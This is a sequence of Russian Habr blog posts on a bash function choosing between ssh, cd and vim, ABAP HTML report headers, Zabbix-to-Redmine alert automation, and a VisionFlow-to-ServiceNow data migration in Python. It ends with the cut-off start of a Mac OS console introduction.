# Улучшаем работу в консоли или как я написал команду sshcdvim ![](https://habrastorage.org/r/w1560/files/c82/f9e/b6b/c82f9eb6b9d54cd8a26c8d3d108f7c4d.png)Наверняка многие делали так, как на картинке, но вот только у них при этом выдалась ошибка типа «файл не найден». Давайте исправим эту проблему, чтобы при таких очевидных опечатках происходило именно то, что вы хотели. То есть, когда вы пишете «ssh », происходил заход в директорию и наоборот, когда вы делаете «cd » происходит заход по ssh. Ну и заодно сделаем то же самое для vim, чтобы 2 раза не вставать. Скрипты с #!/bin/sh в начале под названием ssh/cd/vim ===================================================== Если мы попробуем пойти наивным путем и просто написать скрипты под названием «ssh», «cd» и «vim», то реально запускать ни vim, ни ssh у нас не получится из-за бесконечной рекурсии: ``` #!/bin/sh # нужно назвать файл ssh, cd или vim и поместить скрипт в $PATH перед настоящими утилитами, # например в директорию /bin, которая почти всегда идет перед /usr/bin, в которой как правило лежат vim и ssh # проверим сначала, не является ли первый аргумент ($1) директорией ([ -d ... ] означает проверку на директорию, см. man test для деталей) if [ -d "$1" ]; then cd "$1" # иначе, если это файл (-f), то запустим vim elif [ -f "$1" ]; then vim "$1" # поскольку определить, что это hostname сложнее всего, будем считать, что первый аргумент это hostname, если это не файл и не директория else ssh "$1" fi ``` Такой подход будет работать для команд vim и ssh, если назвать скрипт как-то по-другому, чтобы мы не обращались сами к себе, или если прописать полные пути до vim и ssh (тогда это будет непортируемо, поскольку в разных системах эти утилиты могут жить в разных директориях). Однако, для команды cd такое работать не будет от слова «совсем», к сожалению, поскольку cd является встроенной командой в bash. То есть, не будет работать ни «cd localhost», ни «ssh ». Также, мы всегда смотрим только на первый аргумент ($1), и передача дополнительных флагов не будет работать. Например, нельзя будет выполнить команду «ssh localhost uptime» и вместо этого мы просто зайдем по ssh на localhost. Улучшенный скрипт ================= Давайте попробуем решить хотя бы проблему с тем, что мы не передаем аргументы команде. Для этого существует очень забавная конструкция "$@", которая служит для передачи списка аргументов в команды «как есть», с учетом экранирования. Это отличается от "$\*", которая склеит все аргументы в один, и также отличается от $\* (без кавычек), которая превратит аргументы с пробельными символами в разные аргументы. Итак, улучшенный вариант скрипта: ``` #!/bin/sh if [ -d "$1" ]; then echo 'Пожалуйста, смените сами директорию на следующее: cd ' "$@" elif [ -f "$1" ]; then vim "$@" else ssh "$@" fi ``` Теперь команда «vim localhost uptime» будет работать, если вы поместили этот скрипт в /bin/vim. Но все остальные проблемы останутся, к сожалению. Проблему с cd внутри скрипта мы решили с помощью вызова echo, но всё же хотелось получить решение получше, чтобы директория при этом менялась и нам не приходилось самим набирать команду cd. Алиасы в bash ============= Лично я знаю 2 способа подменить встроенные команды в bash: алиасы и функции. Однако, возможности алиасов сильно ограничены и им недоступны аргументы, которые передаются в функцию: ``` $ alias cd='echo ALL YOUR BASH ARE BELONG TO US; cd' $ cd ALL YOUR BASH ARE BELONG TO US $ ``` Алиасы в баше работают весьма просто и внутри других алиасов не разворачиваются. В данном случае вышеприведенный пример — это почти всё, что можно сделать с помощью алиасов в баше. Функция sshcdvim ================ Поскольку у нас почти не остается выбора, давайте напишем функцию. Она будет выглядеть следующим образом: ``` function sshcdvim() { if [ -d "$1" ]; then cd "$@" elif [ -f "$1" ]; then vim "$@" else ssh "$@" fi } ``` Этот код нужно поместить в ".bashrc" и перезапустить bash. Теперь вы можете пользоваться функцией sshcdvim, которая сама выберет, что запускать. Однако, если вы захотите назвать свою функцию cd, vim или ssh, то опять получите бесконечную рекурсию при попытке использования. Понятия builtin и command в bash ================================ Чтобы объявленные функции в bash не влияли на исполнение скриптов, существуют 2 ключевых слова в bash: builtin и command. Ключевое слово builtin перед именем команды указывает интерпретатору, что не нужно запускать функцию или команду, а нужно запустить встроенную команду. В нашем случае такой встроенной командой является cd. Ключевое слово command делает то же самое, что и builtin, но используется для настоящих команд. В нашем случае настоящими командами являются vim и ssh, поэтому их и нужно использовать. Конечный вариант будет выглядеть так: ``` function ssh() { if [ -d "$1" ]; then builtin cd "$@" elif [ -f "$1" ]; then command vim "$@" else command ssh "$@" fi } ``` Для команд vim и cd можно поменять проверки местами, если необходимо. Воспользовавшись такой магией баша, вы сможете удивлять коллег по работе и даже показывать фокусы по телевизору! Надеюсь, вам понравилась статья и она окажется полезной для вашей повседневной работы.
https://habr.com/ru/post/280690/
null
ru
null
# ABAP: Красивый #2 **Эта публикация предназначена ABAP-разработчикам в SAP ERP и всем им сочувствующим.** [Часть1](https://habrahabr.ru/post/275677/) Не все знают, что в ALV-отчет можно добавить красивый заголовок на HTML. Результат будет похож на это: ![](https://habrastorage.org/r/w1560/files/cf5/ead/ec1/cf5eadec1c92495d802de66051cef275.png) А что если бы хотим нарисовать нечто свое? Например: ![](https://habrastorage.org/r/w1560/files/069/513/965/069513965fa6427c9c9e1b61ae7b3a99.png) Добро пожаловать под кат. Поехали! Я не нашел в инете, какой-либо инфы, и решил придумать нечто свое. Стандартный заголовок рисуется примерно так: ``` FORM do_html_top_of_page USING p_do TYPE REF TO cl_dd_document. *----------------------------------------------------------------------* * .DATA *----------------------------------------------------------------------* DATA: ta TYPE REF TO cl_dd_table_element, col1 TYPE REF TO cl_dd_area, col2 TYPE REF TO cl_dd_area, col3 TYPE REF TO cl_dd_area, text TYPE sdydo_text_element, str TYPE string, rows TYPE int4. DEFINE add_column. call method ta->add_column exporting heading = text importing column = &1. clear text. END-OF-DEFINITION. DEFINE add_text. call method &1->add_text exporting text = text. clear text. END-OF-DEFINITION. str = 'Параметры отчета:'. CALL METHOD p_do->add_table EXPORTING with_heading = 'X' no_of_columns = 2 width = '30%' with_a11y_marks = 'X' a11y_label = str IMPORTING table = ta. text = 'Параметры отчета:'. add_column: col1. text = 'Значения'. add_column: col2. text = 'Заказ'. add_text: col1. text = gv_aufnr. add_text: col2. CALL METHOD ta->new_row. ADD 1 TO rows. ENDFORM. "do_html_top_of_page ``` Что-бы свое было универсально и легко подключалось, в любой отчет, в котором возможны HTML-заголовки, обернем это дело в функциональный модуль: ``` FORM do_html_top_of_page *&---------------------------------------------------------------------* USING p_do TYPE REF TO cl_dd_document. *&---------------------------------------------------------------------* DATA lt_html TYPE TABLE OF zparam WITH HEADER LINE. lt_html-param = 'Важность'. lt_html-value = 'Высокая'. APPEND lt_html. lt_html-param = 'Материал'. lt_html-value = 'Все'. APPEND lt_html. lt_html-param = 'Период'. lt_html-value = '01.01.2015 - 01.03.2016'. APPEND lt_html. CALL FUNCTION 'Z_FM_FORM_HTML_TAB' EXPORTING it_param = lt_html[] iv_type = 'DARK' CHANGING dd_document = p_do. ENDFORM. ``` Структура zparam проста: PARAM CHAR100 VALUE CHAR100 В ФМ: сначала заполняем CSS часть, потом создаем таблицу на HTML, в конце добавляем в dd\_document или его область, если она есть на входе Функциональный модуль: ``` FUNCTION z_fm_form_html_tab. *"---------------------------------------------------------------------- *"*"Локальный интерфейс: *" IMPORTING *" REFERENCE(IT_PARAM) TYPE ZTPARAM *" REFERENCE(IV_TYPE) TYPE CHAR10 *" CHANGING *" REFERENCE(DD_DOCUMENT) TYPE REF TO CL_DD_DOCUMENT *" REFERENCE(DD_AREA) TYPE REF TO CL_DD_AREA OPTIONAL *"---------------------------------------------------------------------- DATA lt_html TYPE TABLE OF sdydo_html_line WITH HEADER LINE. DEFINE add_tag. lt_html = &1. append lt_html. END-OF-DEFINITION. DEFINE conc_tag_line. concatenate ' ' &1 ' |' into lt_html. append lt_html. END-OF-DEFINITION. *"---------------------------------------------------------------------- * Добавим CSS *"---------------------------------------------------------------------- add_tag ''. add\_tag ''. CASE iv\_type. WHEN 'DARK'. add\_tag 'table {'. add\_tag 'font-family: "Lucida Sans Unicode", "Lucida Grande", Sans-Serif;'. add\_tag 'font-size: 12px;'. add\_tag 'border-collapse: collapse;'. add\_tag 'text-align: center;}'. add\_tag 'th, td:first-child {'. add\_tag 'background: #252F48;'. add\_tag 'color: white;'. add\_tag 'padding: 1px 1px;}'. add\_tag 'th, td {'. add\_tag 'border-style: solid;'. add\_tag 'border-width: 0 1px 1px 0;'. add\_tag 'border-color: white;}'. add\_tag 'td { background: #CAD4D6;}'. add\_tag 'th:first-child, td:first-child {'. add\_tag 'text-align: left;}'. WHEN 'ZEBRA'. add\_tag 'table {'. add\_tag 'border-spacing: 0;'. add\_tag 'empty-cells: hide;}'. add\_tag 'td {'. add\_tag 'padding: 3px 3px;'. "5 add\_tag 'text-align: center;'. add\_tag 'border-bottom: 1px solid #F4EEE8;'. add\_tag 'transition: all 0.5s linear;}'. add\_tag 'td:first-child {'. add\_tag 'text-align: left;'. add\_tag 'color: #3D3511;'. add\_tag 'font-weight: bold;}'. add\_tag 'th {'. add\_tag 'padding: 3px 3px;'. "5 add\_tag 'color: #3D3511;'. add\_tag 'border-bottom: 1px solid #F4EEE8;'. add\_tag 'border-top-left-radius: 10px;'. add\_tag 'border-top-right-radius: 10px;}'. add\_tag 'td:nth-child(even)'. add\_tag ' {background: #F6D27E;}'. add\_tag 'td:nth-child(odd)'. add\_tag ' {background: #D1C7BF;}'. add\_tag 'th:nth-child(even) {'. add\_tag 'background: #F6D27E;}'. add\_tag 'th:nth-child(odd)'. add\_tag ' {background: #D1C7BF;}'. add\_tag '.round-top {'. add\_tag 'border-top-left-radius: 10px;}'. add\_tag '.round-bottom {'. add\_tag 'border-bottom-left-radius: 10px;}'. add\_tag 'tr:hover td{'. add\_tag 'background: #D1C7BF;'. add\_tag 'font-weight: bold;}'. ENDCASE. add\_tag ''. \*"---------------------------------------------------------------------- \* Добавим HTML \*"---------------------------------------------------------------------- add\_tag ' '. add\_tag '|'. add\_tag ' Параметры отчета: |'. add\_tag ' Значение: |'. add\_tag ' '. DATA ls\_param LIKE LINE OF it\_param. LOOP AT it\_param INTO ls\_param. add\_tag '|'. conc\_tag\_line: ls\_param-param. conc\_tag\_line: ls\_param-value. add\_tag ' '. ENDLOOP. add\_tag ' '. add\_tag ''. *"---------------------------------------------------------------------- * Добавим HTML в область или документ *"---------------------------------------------------------------------- IF dd_area IS NOT INITIAL. dd_area->add_static_html( table_with_html = lt_html[] ). ELSE. dd_document->add_static_html( table_with_html = lt_html[] ). ENDIF. ENDFUNCTION. ``` Напомню получим: ![](https://habrastorage.org/r/w1560/files/069/513/965/069513965fa6427c9c9e1b61ae7b3a99.png) Минус решения, если у пользователя повышенные настройки безопасности в IE, CSS оформление выводится не будет. Всем спасибо.
https://habr.com/ru/post/275899/
null
ru
null
# Наш Zabbix ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/6ab/8bc/2be/6ab8bc2be9d3c4ff89a47783a9ac5626.png) Небольшое резюме: статья про успешное внедрение Zabbix с автоматизацией большинства процессов, не претендует на tutorial, но если нужны будут подробности, то могу предоставить. Вот уже много лет [наша компания](http://centos-admin.ru) использовала проверенный и наработанный мониторинг monit + cacti. Но все течет — все меняется. И выросли мы настолько, что monit перестал справляться. Цикл проверки вырос с минуту до 10-20 минут, что просто неприемлимо! Так как разработчики monit нам помочь не смогли, было решено добавить (мониторинга много не бывает) новую систему мониторинга. Принцип “работает — не трожь” тут больше не работает. Долго ли, коротко ли, но выбор пал на Zabbix. Почему? Почитали, поспорили, подумали и исполнитель решил. У каждой системы есть плюсы и минусы, информации об этом более чем достаточно и каждый выбирает то, что ему удобно. Я, например, уже умел мониторить OracleDB в Zabbix. Возможно эта статья кого-либо подвинет на сторону Zabbix — буду рад. Итак, главная цель, которую я преследовал: надежно, быстро, удобно и без лишних телодвижений ( лень — двигатель всего ). По железу не заморачивались, взяли старенький сервер ex6 от hetzner и подселили туда контейнер, характеристика: * CPU: Intel Corporation Xeon E3-1200 Processor * RAM: 16 GB * HDD: SATA software RAID 1 В общем и в целом не впечатляет, но сойдет, как минимум на этап внедрения. Zabbix-server установлен и настроен по оф. инструкции + пару раз тюнинговал БД. Использовал CentOS 6.5 nginx+apache+mysql. Теперь нужно понять, что будем автоматизировать (всё?). Для этого расcкажу какие мы используем основные инструменты: система управления конфигурациями и Redmine. Значит нужно брать список хостов и подключаемых темплейтов из системы управления конфигурациями ( не стал сокращать в аббревиатуру) и делать автоматически задачки в Redmine. Пример как у нас хранятся списки хостов, напримере клиента domain.ru. Есть файл domain.ru.conf, и в нем список серверов по следующему принципу: ``` d1.domain.ru: nginx.domain.d1 mysql.domain.d1 zabbix.domain.d1 role4.domain.d1 ``` и тд. Добавляем серверы в Zabbix-server. Для этого будем использовать Actions — Auto registration. Штука очень полезная. Через систему управления конфигурациями на серверы где есть роль Zabbix устанавливаем zabbix-agent и прописываем в конфиг HostMetadata=d.domain.ru. можно было обойтись просто доменом, но у нас от d. или v. зависит нода это или контейнер. Прописываем все остальные настройки (server host), рестартим zabbix-agent и всего делов. Теперь махинации на сервере. Для каждого домена нужно сделать host groups и собственно правило Auto registration. А их много, да еще и прибывают. Тут к нам на помощь спешит ZabbixApi. [Документация](https://www.zabbix.com/documentation/2.4/manual/api) по нему хорошая, осваивается довольно легко. Есть конечно несколько моментов которые напрягают, например не возможность добавить к хосту шаблон, не затерев старые шаблоны… И так, кому нужны будут примеры моей работы с api ( я написал отдельную либу на python для себя) могу выложить куда-нибудь. Освоив ZabbixApi, просто берем текущее состояние проектов (у нас это файлы domain.ru.conf) и создаем/удаляем группы и правила авторегистрации согласно изменениям. Приведу пример правила авторегистрации для ноды: ![image](https://habrastorage.org/r/w780q1/getpro/habr/post_images/7e1/d9c/f17/7e1d9cf17f2e8d44ccca1b48ee453318.jpg) Отлично, вот у нас пошли добавляться сервера со стандартными шаблонами. Теперь нужно добавлять дополнительный шаблоны согласно ролям сервера в системе управления конфигурациями. Пишем парсер, который берет свежую информацию, сравнивает с эталоном, что-то делает или не делает и перезаписывает эталон. Вот тут я столкнулся с проблемой, что в ZabbixApi нельзя просто добавить шаблон, остальные затираются и нельзя его просто “не добавить” — не удаляется история и триггеры. В этом же скрипте удаляем хосты которые есть в шаблоне, но которых нет в системе управления конфигурациями. Не буду грузить статью листингом этих скриптов, строчек там много, опиши принципы: Самое простое это удаление хоста, удаляем если в эталоне он есть, а по новым данным его нет. С добавлением хуже, то есть если в эталоне нет а по новым данным есть — игнорируем хост. ведь добавляем мы их через правила авторегистрации. Основная работа идет по списку шаблонов. Если у хоста добавилась новая роль, то мы добавляем к нему одним запросом все старые шаблоны + новый. Если удалили одну роль, то во первых проверяем был ли такой шаблон и если был, то чистим его и отвязываем от хоста. На этом с добавлением хостов и шаблонов все! От нас теперь только требуется добавить сервер в систему управления конфигурациями, прописать ему нужные роли и можно радоваться жизни. Теперь второй момент, уведомления по почте это интересно, но мы привыкли к задачам в Redmine. Да и Redmine нам уже всякие смс шлет и клиенты видят активность по задачам. В Redmine так же есть API. Что мы делаем: настраиваем в Zabbix actions, которое на определенные условия выполняет Remote command на Zabbix сервере. Например наши проверки клиентских сайтов на правильную подстроку в ответе, команда выглядит так: ``` /srv/scripts/redmine_api_content.py {TRIGGER.DESCRIPTION} {TRIGGER.STATUS} {TRIGGER.SEVERITY} '{TRIGGER.NAME}' '{ITEM.NAME2} {ITEM.KEY2}: {ITEM.VALUE2}' >> /var/log/zabbix/redmine_api_content.log 2>&1 ``` В скрипте {TRIGGER.DESCRIPTION} — это проект в котором будет создана задача, в обычных проверках ( ping и тд) тут передается {HOST.NAME} из которого формируется идентификатор проекта. {TRIGGER.STATUS} — если PROBLEM и задачи с таким именем нет, то создаем, если задача есть то коментарий добавляем к ней. Если OK и задача есть — то комментарий добавляем иначе ничего не делаем. {TRIGGER.SEVERITY} — важность триггера, преобразуется в статус задачи (высокий, Авария!). {TRIGGER.NAME} — собственно что происходит :) это будет имя задачи. {ITEM.NAME2} {ITEM.KEY2}: {ITEM.VALUE2} тут я добавляю информацию о причине срабатывания веб проверки (web.test.error). Листинг этого скрипта я приведу, в нем используется [пакет python-redmine](https://pypi.python.org/pypi/python-redmine): ``` #!/usr/bin/python import sys, time from redmine import Redmine from datetime import datetime, timedelta, date, time as dt_time if len (sys.argv) != 6: print "use params: project, status, priority, trigger_name, item_value." print sys.argv sys.exit("Erorr! Wrong arguments!") else: PROJECT_NAME = sys.argv[1] TRIGGER_STATUS = sys.argv[2] TRIGGER_PRIORITY = sys.argv[3] TRIGGER_NAME = sys.argv[4] ITEM_VALUE = sys.argv[5] REDMINE_URL = 'https://factory.example.com' REDMINE_KEY = 'API_KEY' # Идентификатор пользователя группы в Redmine на которого назначать задачу ADMINS_ID = 33 #Идентификатор приоритета задачи priority = 4 if TRIGGER_PRIORITY == "Disaster": priority = 14 if TRIGGER_PRIORITY == "High": priority = 5 #подключаемся к Redmine redmine = Redmine(REDMINE_URL, key=REDMINE_KEY) #проверяем наличие такой задачи issueExist = redmine.issue.filter( project_id = PROJECT_NAME, subject = "PROBLEM: "+ TRIGGER_NAME ) #это используется для файлового лога (избытки привычек) print datetime.now() print TRIGGER_STATUS +": "+ TRIGGER_NAME + "\n" + ITEM_VALUE #Создание задач/комментариев в зависимости от условий if TRIGGER_STATUS == "PROBLEM": if issueExist: print "Issue already exist. Create comment" issue = redmine.issue.update( issueExist[0].id, notes = TRIGGER_STATUS +": "+ TRIGGER_NAME + "\n" + ITEM_VALUE ) else: print "Issue not exist. Create issue" issue = redmine.issue.create( project_id = PROJECT_NAME, subject = TRIGGER_STATUS +": "+ TRIGGER_NAME, tracker_id = 3, description = TRIGGER_STATUS +": "+ TRIGGER_NAME + "\n" + ITEM_VALUE, status_id = 1, priority_id = priority, assigned_to_id = ADMINS_ID ) if TRIGGER_STATUS == "OK": if issueExist: print "Add comments" issue = redmine.issue.update( issueExist[0].id, notes = TRIGGER_STATUS +": "+ TRIGGER_NAME + "\n" + ITEM_VALUE ) ``` Что у нас получилось с нагрузкой, не зря же я привел конфигурацию железа. При таких данных: ![image](https://habrastorage.org/r/w780q1/getpro/habr/post_images/753/6c3/e33/7536c3e3346d4b0812c5aa32e22bffa6.jpg) Нагрузка на сервере держится в районе 2-3 la, то есть вполне достойно. Больше всего страдают диски, потому что RAM маловат. Конечно система сейчас будет обрастать новыми шаблонами и проверками, нагрузка будет расти и придется переехать на новое железо. Кстати, небольшой совет,.исключайте из бэкапа все таблицы history\*. Итого: Получили рабочую, напичканную функционалом и автоматизированную систему мониторинга. Задачи создаются так активно и чувствительно к проблемам, что ~~мы уже сами не рады~~ все счастливы. Общее впечатление от Zabbix более чем положительное. Кто говорил, что Zabbix совершенно не поворотлив, думаю просто не с той стороны его настраивал. Создается ощущение, что можно бесконечно наращивать и допиливать под себя его возможности. Чем и будем заниматься, ведь лучшее конечно впереди… Всем спасибо! Автор: Бурнашев Роман, главный системный администратор компании [centos-admin.ru](http://centos-admin.ru)
https://habr.com/ru/post/243843/
null
ru
null
# Перенос данных из VisionFlow в ServiceNow Одни из самых интересных задач в работе администратора приложений, на мой взгляд, это осуществление миграции данных при переходе на новую систему. Сегодня я хочу поделится собственным опытом переноса данных с не очень известной helpdesk системы VisionFlow в более известную систему ServiceNow. #### Что хотел заказчик * Перенести все данные из VisionFlow в ServiceNow с сохранением даты регистрации / закрытия тикетов * Перенести всю историю переписки по каждому тикету (достаточно было объединить все комментарии в один тред, но мы пошли чуть дальше) * Перенести все прикреплённые к тикетам файлы #### Что мы имели * Серверную версию Helpdesk системы VisionFlow развёрнутую на виртуальной линукс машине с БД MySQL для хранения данных. * ServiceNow инстанс, с подготовленной заранее таблицей для заказчика. На данном этапе были обговорены все нюансы, такие как: * Статусная модель * Требуемые поля * Логика автоматического назначения тикетов на исполнителя * Данные требующие переноса #### Перенос данных ServiceNow позволяет использовать excel файлы в качестве ресурса для импорта данных. Не буду подробно расписывать процесс импорта данных в систему (процесс неплохо описан в документации к продукту), но в общих чертах он выглядит так: Импорт данныхTransform map позволяет нам задать ключевое поле, по которому система будет понимать, что запись с данными параметрами уже присутствует в таблице и требуется только обновление полей Так как было решено использовать xlsx файл в качестве источника данных, файл требовалось подготовить. Требуемые данные VisionFlow хранит в разных таблицах своей базы данных. Для получения данных был написан запрос к БД: Запрос данных по тикетам в VisionFlow ``` SELECT projectissue.projectIssueId, projectissue.ticketId as 'Number', reporter.email as 'Reporter', projectissue.name as 'Short Description', projectissue.Description as 'Description', projectissue.companycustomfield15 as 'Product', projectissue.companycustomfield13 as 'Document', issuestatus.name as 'Status', assignee.name as 'Assignee', ADDTIME(projectissue.CreateDate, '-01:00') as 'Created', ADDTIME(projectissue.completionDate, '-01:00') as 'Closed', issuehistory.EventText as 'Comment', author.name as 'commentAuthor' FROM projectissue INNER JOIN issuestatus ON projectissue.IssueStatusId = issuestatus.IssueStatusId INNER JOIN systemuser assignee ON projectissue.ResponsibleSystemUserId = assignee.SystemUserId INNER JOIN systemuser reporter ON projectissue.CreatedBySystemUserId = reporter.SystemUserId INNER JOIN issuehistory ON issuehistory.ProjectIssueId = projectissue.ProjectIssueId INNER JOIN systemuser author ON issuehistory.SystemUserId = author.SystemUserId WHERE projectissue.ProjectId = 54 AND (issuehistory.IssueEventTypeId = 5 OR issuehistory.IssueEventTypeId = 10 OR issuehistory.IssueEventTypeId = 2) #projectissue.ProjectId = 54 ORDER BY projectissue.TicketId ASC, issuehistory.EventDate ASC ``` Выполнение запроса позволило нам получить данные по всем тикетам из определённого проекта, включая историю комментариев по каждому отдельному элементу, с сохранением авторства и даты добавления. Вторым шагом данные были выгружены в JSON и залиты в Excel документ. После загрузки документа в ServiceNow в качестве Data Source была проведена обработка записей и создание / обновление тикетов в системе. ***Результат:*** В системе ServiceNow зарегистрированы все записи из VisionFlow, включая дату открытия и закрытия тикетов, комментариев (и их авторов) с соблюдением исходного порядка и всех ключевых полей. Т.к. таблица на момент переноса была пуста, проблем с подменой даты создания тикетов не возникло (ничего такого, чтобы могло повлиять на нумерацию). #### Перенос вложений Если первая часть миграции (требующая переноса исключительно текстовой информации) не потребовала больших усилий, то над переносом вложений пришлось попотеть. Сначала требовалось выяснить, а как VisionFlow, собственно, эти аттачи хранит. Выполняем запрос к БД для получения всех данных по вложениям переносимого проекта: Запрос к БД VisionFlow ``` SELECT document.documentId, document.name, document.FullPath, SUBSTRING_INDEX(SUBSTRING_INDEX(document.FullPath, '/', -2), '/', 1) as 'projectIssueId', projectissue.ticketId as 'Number' FROM visionflow.document INNER JOIN projectissue ON projectissue.ProjectIssueId = SUBSTRING_INDEX(SUBSTRING_INDEX(document.FullPath, '/', -2), '/', 1) WHERE document.FullPath like '%/54/issuedocuments/%' ORDER BY projectissueid ``` Данный запрос позволил нам получить информацию о том, как и где VisionFlow хранит вложения. К нашему счастью, оказалось, что VF создаёт отдельную папку для каждого проекта, в которой создаёт набор папок для тикетов, в которых вложения присутствуют. Папки имеют в качестве названия issueId, позволяющее однозначно идентифицировать принадлежность к тикету. Собственно, запрос выше позволят нам получить наименование папки, в которой лежит вложение и TicketId (его мы использовали для переноса данных в ServiceNow). Выгрузив архив с вложениями, встал вопрос о сопоставлении файлов с тикетами в ServiceNow и их проливке в систему. Т.к. я недавно начал изучать Python, я подумал, что решение данной задачи будет неплохой практикой в языке. Для добавления вложений в ServiceNow было решено использовать API attachments. Для этого на стороне SN был создан endpoint для получения временного токена с доступами к нужной таблице. ServiceNow предоставляет code samples для их API. По документации мы видим, что нам потребуются следующие параметры для нашего запроса: > file\_name (Required) - имя добавляемого файла > > table\_name (Required) - имя таблицы, в которой запись хранится > > table\_sys\_id (Required) - ID записи, в которую требуется добавить вложение > > Content-Type (Header) - mime type передаваемого контента > > Как мы видим, вложение имеет связку с sys\_id записи, к которой он принадлежит ( как и в VisionFlow). Следовательно, нам достаточно переименовать папки, которые мы загрузили из VisionFlow в sys\_id записей, к которым мы будем их крепить. Для этого был выгружен список sys\_id + ticketId из ServiceNow + список issueId + ticketId из VisionFlow. С помощью VLOOKUP функции Excel списки были сопоставлены и создан новый список с полями: * old\_folder\_name * ticket\_id * new\_folder\_name На Python был написан скрипт для переименования папок и удаления тех, в которых не было найдено файлов (прогрессбар в данном случае был добавлен только для тренировки): Переименование папок ``` import pandas as pd, os from tqdm import tqdm def renameFolders(): df = pd.read_csv('/Downloads/folder_rename.csv') pbar = tqdm(total=len(df)) for _ , row in df.iterrows(): old_name = row['old_folder_name'] new_name = row['new_folder_name'] try: os.rename(f'/Downloads/home/tomcat/vflowdocs/54/issuedocuments/{old_name}', f'/Downloads/home/tomcat/vflowdocs/54/issuedocuments/{new_name}') pbar.update(1) except: pbar.update(1) def removeEmptyFolders(): folder_list = os.listdir('/Downloads/home/tomcat/vflowdocs/54/issuedocuments/') for folder in folder_list: path = f'/Downloads/home/tomcat/vflowdocs/54/issuedocuments/{folder}' try: os.rmdir(path) except: if len(os.path.basename(path)) < 6 and os.path.basename(path) != 'nan': print(f'ServiceNow SysId not found for item: {os.path.basename(path)}') renameFolders() removeEmptyFolders() ``` Не буду расписывать скрипт для заливки вложений, опишу лишь несколько моментов: * В скрипт добавлена проверка размера вложений, для того, чтобы отсеять всё то, что имеет вес менее 3000 kb (различные иконки, картинки из подписей и другой мусор) *def getSize()* * Добавлен метод для удаления дубликатов аттачей. В VisionFlow каждое повторно пересылаемое вложение создавало новый файл документа *def removeDuplicates()* * Добавлена обработка файлов с mime типом None. По какой-то причине mimetypes не возвращает типы для формата \*msg, \*txt, \*eml * Реализован финальный лог по операциями на основе ответов от сервера * Ну и последнее (но мне, как любителю всё смотреть визуально, не менее важное) - прогрессбар для отслеживания процесса загрузки Финальный скрипт ``` import os, glob, filetype, requests, mimetypes from tqdm import tqdm import pandas as pd def number_of_files(): files_number = 0 folder_list = os.listdir('/Downloads/home/tomcat/vflowdocs/54/issuedocuments/') for folder in folder_list: files_number += len(os.listdir(f'/Downloads/home/tomcat/vflowdocs/54/issuedocuments/{folder}/')) return files_number #Progress Bar pbar = tqdm(total=1297) log_messages_status = [] log_messages_filepath = [] log_messages_filename = [] log_messages_target = [] def uploadAllFiles(folder_name): #Variables entire_list = glob.glob(f'/Downloads/home/tomcat/vflowdocs/54/issuedocuments/{folder_name}/*') my_list_updated = [] #Get Files Size def getSize(fileobject): fileobject.seek(0,2) size = fileobject.tell() return size #Upload Files def uploadFunc(filename, sys_id, path_to_file, content_type): url = f'https://instance.service-now.com/api/now/attachment/file?file_name={filename}&table_name=table_name&table_sys_id={sys_id}' payload=open(path_to_file, 'rb').read() headers = { 'Accept': 'application/json', 'Authorization': 'Bearer ', 'Content-Type': content_type, } response = requests.request("POST", url, headers=headers, data=payload) if response.status_code == 201: #print(f'Success: {filename} was uploaded to the incident with sys_id {sys_id}') pbar.update(1) log_messages_status.append('Success') log_messages_filename.append(filename) log_messages_filepath.append(path_to_file) log_messages_target.append(sys_id) else: pbar.update(1) #print(f'Error: {filename} was not uploaded to the incident with sys_id {sys_id}') log_messages_status.append('Error') log_messages_filename.append(filename) log_messages_filepath.append(path_to_file) log_messages_target.append(sys_id) #Remove Duplicates def removeDuplicatesByName(list_of_elements): list_of_elements.sort() if len(list_of_elements) > 1: for item in list_of_elements: item_to_compare = item.split('.')[0] for element in list_of_elements: if item_to_compare in element: entire_list.remove(element) else: pass return list_of_elements else: return list_of_elements my_list = removeDuplicatesByName(entire_list) for item in my_list: file_size = open(item, 'rb') if getSize(file_size) > 3000: my_list_updated.append(item) else: pass for attach in my_list_updated: kind = filetype.guess_mime(attach) if kind != None: uploadFunc(os.path.basename(attach), os.path.dirname(attach).split('/')[-1], attach, kind) elif kind == None and attach.split('.')[-1] == 'txt': uploadFunc(os.path.basename(attach), os.path.dirname(attach).split('/')[-1], attach, 'text/plain') else: uploadFunc(os.path.basename(attach), os.path.dirname(attach).split('/')[-1], attach, 'application/octet-stream') def getFolders(): folder_list = os.listdir('/Downloads/home/tomcat/vflowdocs/54/issuedocuments/') for folder in folder_list: if folder != '.DS_Store': uploadAllFiles(folder) getFolders() data_to_write = pd.DataFrame({ 'status': log_messages_status, 'file_name' : log_messages_filename, 'file_path' : log_messages_filepath, 'target' : log_messages_target }) data_to_write.to_csv('/Downloads/results_log.csv') ``` #### Заключение У нас было 2 пакетика….©. У нас было 6000 тысяч записей к переносу (не так много, старая система работала не долго), 2000 вложений и немного времени. Процесс подготовки занял у меня около 14 часов (изучение, попытки и т.д.) неспешной работы, а процесс переноса занимает около 30 минут суммарно. Конечно, можно было бы многое улучшить, полностью автоматизировать процесс (начиная с выгрузки данных, заканчивая их проливкой), но, к сожалению, данная задача одноразовая. Было интересно попробовать Python для реализации проекта, и могу сказать, что с такой задачей он помог справится на ура. В конечном счёте, основная задача переезда - сделать это максимально незаметно для заказчика, что и было сделано с моей стороны.
https://habr.com/ru/post/549400/
null
ru
null
# Консоль для маководов: Beyond the GUI Доброго дня, уважаемые хабравчане-маководы! Сегодня я расскажу как увеличить эффективность работы в Mac OS X за счёт использования консоли.![](https://habrastorage.org/r/w1560/storage2/e2a/e30/33b/e2ae3033b2be807588bcca7684065a53.png) Лирическое отступление ====================== Думаю, ни для кого не секрет, что Mac OS является Unix-based системой, но переработанной почти до неузнаваемости. Даже консоль засунули куда подальше — не сразу и найдёшь. И вся система нацелена на использование GUI, при дефолтных настройках даже переключение между кнопками по Tab не работает — без мыши никуда. И тем не менее, Мак — это не только окошки, не только док и лаунчер. Мак это ещё и вся мощь shell скриптов и консоли! Если Вы пришли из мира M$, то для начала неплохо бы поучить общие команды shell'а, например, по вот этому [учебному пособию](http://khpi-iip.mipk.kharkiv.edu/library/extent/os/shell2/index.html). Как минимум, нужно усвоить команды перехода по каталогам и способы запуска программ и скриптов. Если Вы пришли в мир Mac OS из мира Linux'а и FreeBSD, то, скорее всего, знаете как минимум основы shell-скриптинга. Но и для вас в статье может оказаться кое-что интересное, ведь в маке есть уникальные консольные команды, которые так же полезно знать. Вот о некоторых особенностях маковской консоли далее и пойдёт речь. Начнём работу ============= 